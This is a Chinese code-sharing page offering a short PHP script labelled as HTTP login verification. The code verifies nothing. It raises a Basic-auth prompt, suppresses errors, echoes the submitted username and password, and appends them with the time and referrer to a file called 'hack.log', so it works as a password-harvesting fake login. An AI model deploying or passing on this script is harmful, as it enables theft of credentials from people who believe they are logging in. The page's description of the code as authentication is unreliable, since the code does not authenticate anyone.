php實現http登陸驗證

ef4w 10年前發布 | 3K 次閱讀 PHP

    <?
/ http認證 判斷來路頁面 寫日志 /
////////////禁用錯誤報告//////////////
error_reporting(0);
///////////http認證////////////
if(!isset($_SERVER['PHP_AUTH_USER']))
{
header('WWW-Authenticate: Basic realm="login:"');
header('HTTP/1.0 401 Unauthorized');
echo 'login failed!';
exit;
}
else
{
echo $_SERVER['PHP_AUTH_USER'].'<br>';
echo $_SERVER['PHP_AUTH_PW'].'<br>';
}
///////////判斷來路頁面/////////////
echo $_SERVER["HTTP_REFERER"];
///////////寫記錄//////////////////////
$file='hack.log';
$con="username:".$_SERVER['PHP_AUTH_USER']."\r\npassword:".$_SERVER['PHP_AUTH_PW']."\r\ntime:".date("H:i:s")."\r\n".$_SERVER["HTTP_REFERER"]."\r\n-----------------------------------------------\r\n";
if(file_put_contents($file,$con,FILE_APPEND))echo date("H:i:s")."<br>success!<br>";

////////////////////////////////////  
?>  </pre> 


 本文由用戶 ef4w 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!